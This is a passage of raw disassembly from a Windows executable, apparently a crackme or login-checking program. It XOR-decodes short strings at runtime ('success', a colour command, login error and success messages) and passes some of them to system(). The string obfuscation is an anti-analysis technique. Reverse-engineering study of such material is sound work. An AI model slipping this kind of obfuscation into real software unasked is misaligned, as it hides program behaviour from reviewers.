movsx eax, byte [rsp + 0x1578]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.success
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1579], al
movsx eax, byte [rsp + 0x1578]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.success
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x157a], al
movsx eax, byte [rsp + 0x1578]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.success
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x157b], al
movsx eax, byte [rsp + 0x1578]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.success
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x157c], al
movsx eax, byte [rsp + 0x1578]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.success
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x157d], al
movsx eax, byte [rsp + 0x1578]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.success
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x157e], al
movsx eax, byte [rsp + 0x1578]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.success
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x157f], al
lea rax, [rsp + 0x1580]
lea rax, [rsp + 0x1580]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x300], 0
jmp 0x14004c409
mov rax, qword [rsp + 0x300]
inc rax
mov qword [rsp + 0x300], rax
cmp qword [rsp + 0x300], 7
jae 0x14004c473
mov rax, qword [rsp + 0x300]
lea rax, [rsp + rax + 0x1579]
mov qword [rsp + 0xb00], rax
mov rax, qword [rsp + 0xb00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1578]
xor eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0x300]
lea rax, [rsp + rax + 0x1579]
mov qword [rsp + 0xb08], rax
mov rax, qword [rsp + 0xb08]
mov cl, byte [rsp + 0xb3]
mov byte [rax], cl
jmp 0x14004c3f6
mov eax, 7
imul rax, rax, 1
lea rax, [rsp + rax + 0x1579]
mov qword [rsp + 0xb10], rax
mov rax, qword [rsp + 0xb10]
mov byte [rax], 0
lea rax, [rsp + 0x1579]
mov qword [rsp + 0xb18], rax
mov rdx, qword [rsp + 0xb18]
lea rcx, [rsp + 0x1a90]
call fcn.140060a98
movzx eax, al
test eax, eax
je 0x14004d050
mov byte [rsp + 0x1568], 0x78
movsx eax, byte [rsp + 0x1568]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.color_b
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1569], al
movsx eax, byte [rsp + 0x1568]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.color_b
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x156a], al
movsx eax, byte [rsp + 0x1568]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.color_b
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x156b], al
movsx eax, byte [rsp + 0x1568]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.color_b
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x156c], al
movsx eax, byte [rsp + 0x1568]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.color_b
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x156d], al
movsx eax, byte [rsp + 0x1568]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.color_b
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x156e], al
movsx eax, byte [rsp + 0x1568]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.color_b
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x156f], al
lea rax, [rsp + 0x1570]
lea rax, [rsp + 0x1570]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x308], 0
jmp 0x14004c61d
mov rax, qword [rsp + 0x308]
inc rax
mov qword [rsp + 0x308], rax
cmp qword [rsp + 0x308], 7
jae 0x14004c687
mov rax, qword [rsp + 0x308]
lea rax, [rsp + rax + 0x1569]
mov qword [rsp + 0xb20], rax
mov rax, qword [rsp + 0xb20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1568]
xor eax, ecx
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0x308]
lea rax, [rsp + rax + 0x1569]
mov qword [rsp + 0xb28], rax
mov rax, qword [rsp + 0xb28]
mov cl, byte [rsp + 0xb4]
mov byte [rax], cl
jmp 0x14004c60a
mov eax, 7
imul rax, rax, 1
lea rax, [rsp + rax + 0x1569]
mov qword [rsp + 0xb30], rax
mov rax, qword [rsp + 0xb30]
mov byte [rax], 0
lea rax, [rsp + 0x1569]
mov qword [rsp + 0xb38], rax
mov rcx, qword [rsp + 0xb38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x1830], 0x18
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1831], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1832], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1833], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1834], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1835], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1836], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1837], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1838], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1839], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x183a], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x183b], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x183c], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x183d], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x183e], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x183f], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1840], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1841], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1842], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1843], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1844], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1845], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1846], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1847], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1848], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1849], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x184a], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x184b], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x184c], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x184d], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x184e], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x184f], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1850], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1851], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1852], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1853], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1854], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1855], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1856], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1857], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1858], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1859], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x185a], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x185b], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x185c], al
movsx eax, byte [rsp + 0x1830]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str._n_n___ERROR__Invalid_username_or_password__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x185d], al
lea rax, [rsp + 0x185e]
lea rax, [rsp + 0x185e]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x310], 0
jmp 0x14004cde9
mov rax, qword [rsp + 0x310]
inc rax
mov qword [rsp + 0x310], rax
cmp qword [rsp + 0x310], 0x2d
jae 0x14004ce53
mov rax, qword [rsp + 0x310]
lea rax, [rsp + rax + 0x1831]
mov qword [rsp + 0xb40], rax
mov rax, qword [rsp + 0xb40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1830]
xor eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x310]
lea rax, [rsp + rax + 0x1831]
mov qword [rsp + 0xb48], rax
mov rax, qword [rsp + 0xb48]
mov cl, byte [rsp + 0xb5]
mov byte [rax], cl
jmp 0x14004cdd6
mov eax, 0x2d
imul rax, rax, 1
lea rax, [rsp + rax + 0x1831]
mov qword [rsp + 0xb50], rax
mov rax, qword [rsp + 0xb50]
mov byte [rax], 0
lea rax, [rsp + 0x1831]
mov qword [rsp + 0xb58], rax
mov rcx, qword [rsp + 0xb58]
call fcn.140005fa4
mov byte [rsp + 0x1500], 0x40
movsx eax, byte [rsp + 0x1500]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d4728]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1501], al
movsx eax, byte [rsp + 0x1500]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d4728]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1502], al
movsx eax, byte [rsp + 0x1500]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d4728]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1503], al
movsx eax, byte [rsp + 0x1500]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d4728]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1504], al
movsx eax, byte [rsp + 0x1500]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d4728]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1505], al
lea rax, [rsp + 0x1506]
lea rax, [rsp + 0x1506]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x318], 0
jmp 0x14004cf9c
mov rax, qword [rsp + 0x318]
inc rax
mov qword [rsp + 0x318], rax
cmp qword [rsp + 0x318], 5
jae 0x14004d006
mov rax, qword [rsp + 0x318]
lea rax, [rsp + rax + 0x1501]
mov qword [rsp + 0xb60], rax
mov rax, qword [rsp + 0xb60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1500]
xor eax, ecx
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0x318]
lea rax, [rsp + rax + 0x1501]
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0xb68]
mov cl, byte [rsp + 0xb6]
mov byte [rax], cl
jmp 0x14004cf89
mov eax, 5
imul rax, rax, 1
lea rax, [rsp + rax + 0x1501]
mov qword [rsp + 0xb70], rax
mov rax, qword [rsp + 0xb70]
mov byte [rax], 0
lea rax, [rsp + 0x1501]
mov qword [rsp + 0xb78], rax
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov byte [rsp + 0x1498], 0x72
movsx eax, byte [rsp + 0x1498]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3a24]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1499], al
movsx eax, byte [rsp + 0x1498]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3a24]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x149a], al
movsx eax, byte [rsp + 0x1498]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d3a24]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x149b], al
lea rax, [rsp + 0x149c]
lea rax, [rsp + 0x149c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x320], 0
jmp 0x14004d10a
mov rax, qword [rsp + 0x320]
inc rax
mov qword [rsp + 0x320], rax
cmp qword [rsp + 0x320], 3
jae 0x14004d174
mov rax, qword [rsp + 0x320]
lea rax, [rsp + rax + 0x1499]
mov qword [rsp + 0xb80], rax
mov rax, qword [rsp + 0xb80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1498]
xor eax, ecx
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0x320]
lea rax, [rsp + rax + 0x1499]
mov qword [rsp + 0xb88], rax
mov rax, qword [rsp + 0xb88]
mov cl, byte [rsp + 0xb7]
mov byte [rax], cl
jmp 0x14004d0f7
mov eax, 3
imul rax, rax, 1
lea rax, [rsp + rax + 0x1499]
mov qword [rsp + 0xb90], rax
mov rax, qword [rsp + 0xb90]
mov byte [rax], 0
lea rax, [rsp + 0x1499]
mov qword [rsp + 0xb98], rax
mov rcx, qword [rsp + 0xb98]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x94], 0x64
movsx eax, byte [rsp + 0x94]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3ac4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x95], al
movsx eax, byte [rsp + 0x94]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3ac4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x96], al
lea rax, [rsp + 0x97]
lea rax, [rsp + 0x97]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x328], 0
jmp 0x14004d249
mov rax, qword [rsp + 0x328]
inc rax
mov qword [rsp + 0x328], rax
cmp qword [rsp + 0x328], 2
jae 0x14004d2b3
mov rax, qword [rsp + 0x328]
lea rax, [rsp + rax + 0x95]
mov qword [rsp + 0xba0], rax
mov rax, qword [rsp + 0xba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x94]
xor eax, ecx
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x328]
lea rax, [rsp + rax + 0x95]
mov qword [rsp + 0xba8], rax
mov rax, qword [rsp + 0xba8]
mov cl, byte [rsp + 0xb8]
mov byte [rax], cl
jmp 0x14004d236
mov eax, 2
imul rax, rax, 1
lea rax, [rsp + rax + 0x95]
mov qword [rsp + 0xbb0], rax
mov rax, qword [rsp + 0xbb0]
mov byte [rax], 0
lea rax, [rsp + 0x95]
mov qword [rsp + 0xbb8], rax
mov rcx, qword [rsp + 0xbb8]
call fcn.140005fa4
mov cx, 0xa
call fcn.1400290ec
mov byte [rsp + 0x1690], 0x70
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1691], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1692], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1693], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1694], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1695], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1696], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1697], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1698], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1699], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x169a], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x169b], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x169c], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x169d], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x169e], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x169f], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16a0], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16a1], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16a2], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16a3], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16a4], al
movsx eax, byte [rsp + 0x1690]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.__Login_successful__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16a5], al
lea rax, [rsp + 0x16a6]
lea rax, [rsp + 0x16a6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x330], 0
jmp 0x14004d675
mov rax, qword [rsp + 0x330]
inc rax
mov qword [rsp + 0x330], rax
cmp qword [rsp + 0x330], 0x15
jae 0x14004d6df
mov rax, qword [rsp + 0x330]
lea rax, [rsp + rax + 0x1691]
mov qword [rsp + 0xbc0], rax
mov rax, qword [rsp + 0xbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1690]
xor eax, ecx
mov byte [rsp + 0xb9], al
